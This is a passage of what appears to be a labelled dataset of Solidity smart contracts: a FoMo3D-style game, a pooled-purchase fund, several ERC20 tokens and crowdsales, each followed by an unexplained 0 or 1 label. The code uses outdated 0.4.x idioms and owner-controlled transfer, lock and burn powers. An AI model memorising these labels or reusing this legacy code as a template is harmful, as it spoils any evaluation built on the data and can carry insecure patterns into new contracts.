_gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
pragma solidity ^0.4.13; contract ERC20 { function transfer(address _to, uint256 _value) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); } contract LINKFund { mapping (address => uint256) public balances; bool public bought_tokens; uint256 public contract_eth_value; uint256 constant public min_required_amount = 100 ether; uint256 public max_raised_amount = 300 ether; uint256 public min_buy_block; uint256 public min_refund_block; address constant public sale = 0xC8E23bA1f423812Eca868189072722D822fCAFC1; address constant public creator = 0xDe81B20B6801d99EFEaEcEd48a11ba025180b8cc; function LINKFund() { min_buy_block = 4221013; min_refund_block = 4286677; } function perform_withdraw(address tokenAddress) { if (!bought_tokens) throw; ERC20 token = ERC20(tokenAddress); uint256 contract_token_balance = token.balanceOf(address(this)); if (contract_token_balance == 0) throw; uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; contract_eth_value -= balances[msg.sender]; balances[msg.sender] = 0; if(!token.transfer(msg.sender, tokens_to_withdraw)) throw; } function refund_me() { if (bought_tokens) { if (block.number < min_refund_block) throw; } uint256 eth_to_withdraw = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(eth_to_withdraw); } function buy_the_tokens() { if (bought_tokens) return; if (this.balance < min_required_amount) throw; if (block.number < min_buy_block) throw; bought_tokens = true; contract_eth_value = this.balance; sale.transfer(contract_eth_value); } function default_helper() payable { if (this.balance > max_raised_amount) throw; if (!bought_tokens) { uint256 fee = msg.value / 10; balances[msg.sender] += msg.value - fee; creator.transfer(fee); } } function () payable { default_helper(); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BurnableToken is PausableToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract B3T is BurnableToken { string public name = "B3log Token"; string public symbol = "B3T"; uint8 public decimals = 18; uint256 public constant INITIAL_SUPPLY = 2000000000 * 10**uint256(18); function B3T() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
1
pragma solidity 0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function totalSupply() view external returns (uint _totalSupply); function balanceOf(address _owner) view external returns (uint balance); function transfer(address _to, uint _value) external returns (bool success); function transferFrom(address _from, address _to, uint _value) external returns (bool success); function approve(address _spender, uint _value) external returns (bool success); function allowance(address _owner, address _spender) view external returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract LynchpinToken is ERC20 { using SafeMath for uint256; string public name = "Lynchpin"; string public symbol = "LYN"; uint8 public decimals = 18; uint public totalSupply = 5000000 * (10 ** uint(decimals)); address public owner = 0xAc983022185b95eF2B2C7219143483BD0C65Ecda; mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; constructor() public { balanceOf[owner] = totalSupply; } function totalSupply() view external returns (uint _totalSupply) { return totalSupply; } function balanceOf(address _owner) view external returns (uint balance) { return balanceOf[_owner]; } function allowance(address _owner, address _spender) view external returns (uint remaining) { return allowance[_owner][_spender]; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); uint previousBalances = balanceOf[_from].add(balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } function transfer(address _to, uint _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function () public { revert(); } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address _owner) public { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract LynchpinPublicICO is Ownable(0xAc983022185b95eF2B2C7219143483BD0C65Ecda) { using SafeMath for uint256; LynchpinToken public lynT = LynchpinToken(0xB0B1685f55843D03739c7D9b0A230F1B7DcF03D5); uint256 public tokeninOneEther; uint256 public maxTokensToSell = 2000000 * 10**18; uint256 public tokenSold; bool crowdsaleClosed = false; mapping(address => bool) public isWhitelisted; event LogAddedToWhitelist(address indexed _contributor); event LogTokenRateUpdated(uint256 _newRate); event LogSaleClosed(); constructor(uint256 _tokeninOneEther) public { require (_tokeninOneEther > 0); isWhitelisted[owner] = true; tokeninOneEther = _tokeninOneEther; emit LogTokenRateUpdated(_tokeninOneEther); } function () public payable { require(!crowdsaleClosed); require(isWhitelisted[msg.sender]); uint256 amountToSend = msg.value * tokeninOneEther; require (tokenSold.add(amountToSend) <= maxTokensToSell); lynT.transfer(msg.sender, amountToSend); tokenSold += amountToSend; owner.transfer(address(this).balance); } function addContributor(address _contributor) external onlyOwner { require(_contributor != address(0)); require(!isWhitelisted[_contributor]); isWhitelisted[_contributor] = true; emit LogAddedToWhitelist(_contributor); } function updateTokenRate(uint256 _tokeninOneEther ) external onlyOwner { require (_tokeninOneEther > 0); tokeninOneEther = _tokeninOneEther; emit LogTokenRateUpdated(_tokeninOneEther); } function closeSale() external onlyOwner { lynT.transfer(msg.sender, lynT.balanceOf(address(this))); owner.transfer(address(this).balance); crowdsaleClosed = true; emit LogSaleClosed(); } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract Token is ERC20, Pausable { struct sUserInfo { uint256 balance; bool lock; mapping(address => uint256) allowed; } using SafeMath for uint256; string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; bool public restoreFinished = false; mapping(address => sUserInfo) user; event Mint(uint256 value); event Burn(uint256 value); event RestoreFinished(); modifier canRestore() { require(!restoreFinished); _; } function () external payable { revert(); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal { require(_to != address(this)); require(_to != address(0)); require(user[_from].balance >= _value); if(_lockCheck) { require(user[_from].lock == false); } } function lock(address _owner) public onlyOwner returns (bool) { require(user[_owner].lock == false); user[_owner].lock = true; return true; } function unlock(address _owner) public onlyOwner returns (bool) { require(user[_owner].lock == true); user[_owner].lock = false; return true; } function burn(address _to, uint256 _value) public onlyOwner returns (bool) { require(_value <= user[_to].balance); user[_to].balance = user[_to].balance.sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(_value); return true; } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { validTransfer(msg.sender, _to, _value, false); user[msg.sender].balance = user[msg.sender].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(_value > 0); user[msg.sender].allowed[_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(_from, _to, _value, true); require(_value <= user[_from].allowed[msg.sender]); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(msg.sender, _to, _value, true); user[msg.sender].balance = user[msg.sender].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferRestore(address _from, address _to, uint256 _value) public onlyOwner canRestore returns (bool) { validTransfer(_from, _to, _value, false); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); emit Transfer(_from, _to, _value); return true; } function finishRestore() public onlyOwner returns (bool) { restoreFinished = true; emit RestoreFinished(); return true; } function balanceOf(address _owner) public view returns (uint256) { return user[_owner].balance; } function lockState(address _owner) public view returns (bool) { return user[_owner].lock; } function allowance(address _owner, address _spender) public view returns (uint256) { return user[_owner].allowed[_spender]; } } contract LockBalance is Ownable { enum eLockType {None, Individual, GroupA, GroupB, GroupC, GroupD, GroupE, GroupF, GroupG, GroupH, GroupI, GroupJ} struct sGroupLockDate { uint256[] lockTime; uint256[] lockPercent; } struct sLockInfo { uint256[] lockType; uint256[] lockBalanceStandard; uint256[] startTime; uint256[] endTime; } using SafeMath for uint256; mapping(uint => sGroupLockDate) groupLockDate; mapping(address => sLockInfo) lockUser; event Lock(address indexed from, uint256 value, uint256 endTime); function setLockUser(address _to, eLockType _lockType, uint256 _value, uint256 _endTime) internal { lockUser[_to].lockType.push(uint256(_lockType)); lockUser[_to].lockBalanceStandard.push(_value); lockUser[_to].startTime.push(now); lockUser[_to].endTime.push(_endTime); emit Lock(_to, _value, _endTime); } function lockBalanceGroup(address _owner, uint _index) internal view returns (uint256) { uint256 percent = 0; uint256 key = uint256(lockUser[_owner].lockType[_index]); uint256 time = 99999999999; for(uint256 i = 0 ; i < groupLockDate[key].lockTime.length; i++) { if(now < groupLockDate[key].lockTime[i]) { if(groupLockDate[key].lockTime[i] < time) { time = groupLockDate[key].lockTime[i]; percent = groupLockDate[key].lockPercent[i]; } } } if(percent == 0){ return 0; } else { return lockUser[_owner].lockBalanceStandard[_index].mul(uint256(percent)).div(100); } } function lockBalanceIndividual(address _owner, uint _index) internal view returns (uint256) { if(now < lockUser[_owner].endTime[_index]) { return lockUser[_owner].lockBalanceStandard[_index]; } else { return 0; } } function clearLockUser(address _owner, uint _index) onlyOwner public { require(lockUser[_owner].endTime.length >_index); lockUser[_owner].endTime[_index] = 0; } function addLockDate(eLockType _lockType, uint256 _second, uint256 _percent) onlyOwner public { require(_percent > 0 && _percent <= 100); sGroupLockDate storage lockInfo = groupLockDate[uint256(_lockType)]; bool isExists = false; for(uint256 i = 0; i < lockInfo.lockTime.length; i++) { if(lockInfo.lockTime[i] == _second) { revert(); break; } } if(isExists) { revert(); } else { lockInfo.lockTime.push(_second); lockInfo.lockPercent.push(_percent); } } function deleteLockDate(eLockType _lockType, uint256 _lockTime) onlyOwner public { sGroupLockDate storage lockDate = groupLockDate[uint256(_lockType)]; bool isExists = false; uint256 index = 0; for(uint256 i = 0; i < lockDate.lockTime.length; i++) { if(lockDate.lockTime[i] == _lockTime) { isExists = true; index = i; break; } } if(isExists) { for(uint256 k = index; k < lockDate.lockTime.length - 1; k++){ lockDate.lockTime[k] = lockDate.lockTime[k + 1]; lockDate.lockPercent[k] = lockDate.lockPercent[k + 1]; } delete lockDate.lockTime[lockDate.lockTime.length - 1]; lockDate.lockTime.length--; delete lockDate.lockPercent[lockDate.lockPercent.length - 1]; lockDate.lockPercent.length--; } else { revert(); } } function lockTypeInfoGroup(eLockType _type) public view returns (uint256[] memory , uint256[] memory ) { uint256 key = uint256(_type); return (groupLockDate[key].lockTime, groupLockDate[key].lockPercent); } function lockUserInfo(address _owner) public view returns (uint256[] memory , uint256[] memory , uint256[] memory , uint256[] memory , uint256[] memory ) { uint256[] memory balance = new uint256[](lockUser[_owner].lockType.length); for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){ if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) { balance[i] = balance[i].add(lockBalanceIndividual(_owner, i)); } else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) { balance[i] = balance[i].add(lockBalanceGroup(_owner, i)); } } return (lockUser[_owner].lockType, lockUser[_owner].lockBalanceStandard, balance, lockUser[_owner].startTime, lockUser[_owner].endTime); } function lockBalanceAll(address _owner) public view returns (uint256) { uint256 lockBalance = 0; for(uint256 i = 0; i < lockUser[_owner].lockType.length; i++){ if(lockUser[_owner].lockType[i] == uint256(eLockType.Individual)) { lockBalance = lockBalance.add(lockBalanceIndividual(_owner, i)); } else if(lockUser[_owner].lockType[i] != uint256(eLockType.None)) { lockBalance = lockBalance.add(lockBalanceGroup(_owner, i)); } } return lockBalance; } } contract IDcoin is Token, LockBalance { constructor() public { name = "SHIELDCURE"; symbol = "ID"; decimals = 18; uint256 initialSupply = 1500000000; totalSupply = initialSupply * 10 ** uint(decimals); user[owner].balance = totalSupply; emit Transfer(address(0), owner, totalSupply); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal { super.validTransfer(_from, _to, _value, _lockCheck); if(_lockCheck) { require(_value <= useBalanceOf(_from)); } } function setLockUsers(eLockType _type, address[] memory _to, uint256[] memory _value, uint256[] memory _endTime) onlyOwner public { require(_to.length > 0); require(_to.length == _value.length); require(_to.length == _endTime.length); require(_type != eLockType.None); for(uint256 i = 0; i < _to.length; i++){ require(_value[i] <= useBalanceOf(_to[i])); setLockUser(_to[i], _type, _value[i], _endTime[i]); } } function useBalanceOf(address _owner) public view returns (uint256) { return balanceOf(_owner).sub(lockBalanceAll(_owner)); } }
1
pragma solidity ^0.4.19; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract CustomToken is BaseToken { function CustomToken() public { totalSupply = 800000000000000000; name = 'electricity'; symbol = 'ECBB'; decimals = 10; balanceOf[0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530] = totalSupply; Transfer(address(0), 0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530, totalSupply); } }
1
pragma solidity ^0.4.20; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract MintableToken is StandardToken, Ownable, BurnableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); string public name = "VinCoin"; string public symbol = "VNC"; uint public decimals = 18; uint256 public constant INITIAL_SUPPLY = 30000000 * (10 ** 18); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function MintableToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract Crowdsale is Ownable { using SafeMath for uint256; MintableToken public token; uint256 public startTime; uint256 public endTime; address public wallet; uint256 public weiRaised; uint256 public tokensSold; uint256 constant public hardCap = 24000000 * (10**18); event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, address _wallet, MintableToken tokenContract) public { require(_startTime >= now); require(_endTime >= _startTime); require(_wallet != 0x0); startTime = _startTime; endTime = _endTime; wallet = _wallet; token = tokenContract; } function setNewTokenOwner(address newOwner) public onlyOwner { token.transferOwnership(newOwner); } function createTokenOwner() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function getRate() internal view returns (uint256) { if(now < (startTime + 5 weeks)) { return 7000; } if(now < (startTime + 9 weeks)) { return 6500; } if(now < (startTime + 13 weeks)) { return 6000; } if(now < (startTime + 15 weeks)) { return 5500; } return 5000; } function buyTokens(address beneficiary) public payable { 